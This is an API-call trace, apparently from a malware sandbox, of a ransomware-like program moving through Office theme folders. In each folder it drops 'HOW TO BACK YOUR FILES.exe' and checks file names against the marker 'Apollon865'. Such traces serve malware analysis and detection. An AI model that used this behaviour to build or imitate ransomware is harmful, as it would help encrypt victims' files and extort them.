	[0075.035] lstrlenW (lpString="LAYERS.ELM") returned 10
	[0075.035] lstrlenW (lpString="Apollon865") returned 10
	[0075.035] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="LAYERS.INF" | out: lpString1="LAYERS.INF") returned="LAYERS.INF"
	[0075.035] lstrlenW (lpString="LAYERS.INF") returned 10
	[0075.035] lstrlenW (lpString="Apollon865") returned 10
	[0075.035] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.035] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.035] lstrlenW (lpString="Apollon865") returned 10
	[0075.035] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.035] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.035] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.035] lstrlenW (lpString="Apollon865") returned 10
	[0075.035] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.035] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL"
	[0075.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfcd8 | out: hHeap=0x580000) returned 1
	[0075.035] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fea8 | out: hHeap=0x580000) returned 1
	[0075.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL") returned 63
	[0075.035] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL"
	[0075.035] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.035] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.041] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.041] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44cd89b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44cd89b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.041] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="JOURNAL.ELM" | out: lpString1="JOURNAL.ELM") returned="JOURNAL.ELM"
	[0075.041] lstrlenW (lpString="JOURNAL.ELM") returned 11
	[0075.041] lstrlenW (lpString="Apollon865") returned 10
	[0075.041] lstrcmpiW (lpString1="OURNAL.ELM", lpString2="Apollon865") returned 1
	[0075.041] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="JOURNAL.INF" | out: lpString1="JOURNAL.INF") returned="JOURNAL.INF"
	[0075.041] lstrlenW (lpString="JOURNAL.INF") returned 11
	[0075.041] lstrlenW (lpString="Apollon865") returned 10
	[0075.041] lstrcmpiW (lpString1="OURNAL.INF", lpString2="Apollon865") returned 1
	[0075.041] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.041] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.041] lstrlenW (lpString="Apollon865") returned 10
	[0075.041] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.042] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.042] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.042] lstrlenW (lpString="Apollon865") returned 10
	[0075.042] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.042] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS"
	[0075.042] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfc50 | out: hHeap=0x580000) returned 1
	[0075.042] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe88 | out: hHeap=0x580000) returned 1
	[0075.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS") returned 60
	[0075.042] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS"
	[0075.042] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.042] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.046] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44cd89b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44cd89b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.047] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="IRIS.ELM" | out: lpString1="IRIS.ELM") returned="IRIS.ELM"
	[0075.047] lstrlenW (lpString="IRIS.ELM") returned 8
	[0075.047] lstrlenW (lpString="Apollon865") returned 10
	[0075.047] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="IRIS.INF" | out: lpString1="IRIS.INF") returned="IRIS.INF"
	[0075.047] lstrlenW (lpString="IRIS.INF") returned 8
	[0075.047] lstrlenW (lpString="Apollon865") returned 10
	[0075.047] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.047] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.047] lstrlenW (lpString="Apollon865") returned 10
	[0075.047] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.047] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.047] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.047] lstrlenW (lpString="Apollon865") returned 10
	[0075.047] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.048] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST"
	[0075.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfbc8 | out: hHeap=0x580000) returned 1
	[0075.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe68 | out: hHeap=0x580000) returned 1
	[0075.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST") returned 62
	[0075.048] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST"
	[0075.048] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.048] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.052] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44cd89b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44cd89b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.053] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="INDUST.ELM" | out: lpString1="INDUST.ELM") returned="INDUST.ELM"
	[0075.053] lstrlenW (lpString="INDUST.ELM") returned 10
	[0075.053] lstrlenW (lpString="Apollon865") returned 10
	[0075.053] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="INDUST.INF" | out: lpString1="INDUST.INF") returned="INDUST.INF"
	[0075.053] lstrlenW (lpString="INDUST.INF") returned 10
	[0075.053] lstrlenW (lpString="Apollon865") returned 10
	[0075.053] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.053] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.053] lstrlenW (lpString="Apollon865") returned 10
	[0075.053] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.053] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.053] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.053] lstrlenW (lpString="Apollon865") returned 10
	[0075.053] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.054] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE"
	[0075.054] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0075.054] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0075.054] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE") returned 59
	[0075.054] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE"
	[0075.054] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.054] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.058] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.058] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44cfeb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44cfeb10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.058] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="ICE.ELM" | out: lpString1="ICE.ELM") returned="ICE.ELM"
	[0075.058] lstrlenW (lpString="ICE.ELM") returned 7
	[0075.058] lstrlenW (lpString="Apollon865") returned 10
	[0075.058] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="ICE.INF" | out: lpString1="ICE.INF") returned="ICE.INF"
	[0075.058] lstrlenW (lpString="ICE.INF") returned 7
	[0075.058] lstrlenW (lpString="Apollon865") returned 10
	[0075.058] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.059] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.059] lstrlenW (lpString="Apollon865") returned 10
	[0075.059] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.059] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.059] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.059] lstrlenW (lpString="Apollon865") returned 10
	[0075.059] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.059] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN"
	[0075.059] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8b38 | out: hHeap=0x580000) returned 1
	[0075.059] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbc8 | out: hHeap=0x580000) returned 1
	[0075.060] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN") returned 64
	[0075.060] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN"
	[0075.060] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.060] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.065] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.065] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44cfeb10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44cfeb10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.066] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="EXPEDITN.ELM" | out: lpString1="EXPEDITN.ELM") returned="EXPEDITN.ELM"
	[0075.066] lstrlenW (lpString="EXPEDITN.ELM") returned 12
	[0075.066] lstrlenW (lpString="Apollon865") returned 10
	[0075.066] lstrcmpiW (lpString1="PEDITN.ELM", lpString2="Apollon865") returned 1
	[0075.066] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="EXPEDITN.INF" | out: lpString1="EXPEDITN.INF") returned="EXPEDITN.INF"
	[0075.066] lstrlenW (lpString="EXPEDITN.INF") returned 12
	[0075.066] lstrlenW (lpString="Apollon865") returned 10
	[0075.066] lstrcmpiW (lpString1="PEDITN.INF", lpString2="Apollon865") returned 1
	[0075.066] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.066] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.066] lstrlenW (lpString="Apollon865") returned 10
	[0075.066] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.066] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.066] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.066] lstrlenW (lpString="Apollon865") returned 10
	[0075.066] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.066] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN"
	[0075.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8bc8 | out: hHeap=0x580000) returned 1
	[0075.066] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0075.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN") returned 64
	[0075.066] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN"
	[0075.066] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.066] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.072] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44d24c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44d24c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.072] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="EVRGREEN.ELM" | out: lpString1="EVRGREEN.ELM") returned="EVRGREEN.ELM"
	[0075.072] lstrlenW (lpString="EVRGREEN.ELM") returned 12
	[0075.072] lstrlenW (lpString="Apollon865") returned 10
	[0075.072] lstrcmpiW (lpString1="RGREEN.ELM", lpString2="Apollon865") returned 1
	[0075.073] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="EVRGREEN.INF" | out: lpString1="EVRGREEN.INF") returned="EVRGREEN.INF"
	[0075.073] lstrlenW (lpString="EVRGREEN.INF") returned 12
	[0075.073] lstrlenW (lpString="Apollon865") returned 10
	[0075.073] lstrcmpiW (lpString1="RGREEN.INF", lpString2="Apollon865") returned 1
	[0075.073] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.073] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.073] lstrlenW (lpString="Apollon865") returned 10
	[0075.073] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.073] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.073] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.073] lstrlenW (lpString="Apollon865") returned 10
	[0075.073] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.073] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE"
	[0075.073] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfb40 | out: hHeap=0x580000) returned 1
	[0075.073] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0075.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE") returned 60
	[0075.073] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE"
	[0075.073] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.073] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.078] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.078] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44d24c70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44d24c70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.078] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="EDGE.ELM" | out: lpString1="EDGE.ELM") returned="EDGE.ELM"
	[0075.078] lstrlenW (lpString="EDGE.ELM") returned 8
	[0075.078] lstrlenW (lpString="Apollon865") returned 10
	[0075.078] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="EDGE.INF" | out: lpString1="EDGE.INF") returned="EDGE.INF"
	[0075.078] lstrlenW (lpString="EDGE.INF") returned 8
	[0075.078] lstrlenW (lpString="Apollon865") returned 10
	[0075.079] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.079] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.079] lstrlenW (lpString="Apollon865") returned 10
	[0075.079] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.079] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.079] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.079] lstrlenW (lpString="Apollon865") returned 10
	[0075.079] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.079] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE"
	[0075.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfab8 | out: hHeap=0x580000) returned 1
	[0075.079] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0075.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE") returned 63
	[0075.079] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE"
	[0075.079] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.079] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\how to back your files.exe"), bFailIfExists=1) returned 1
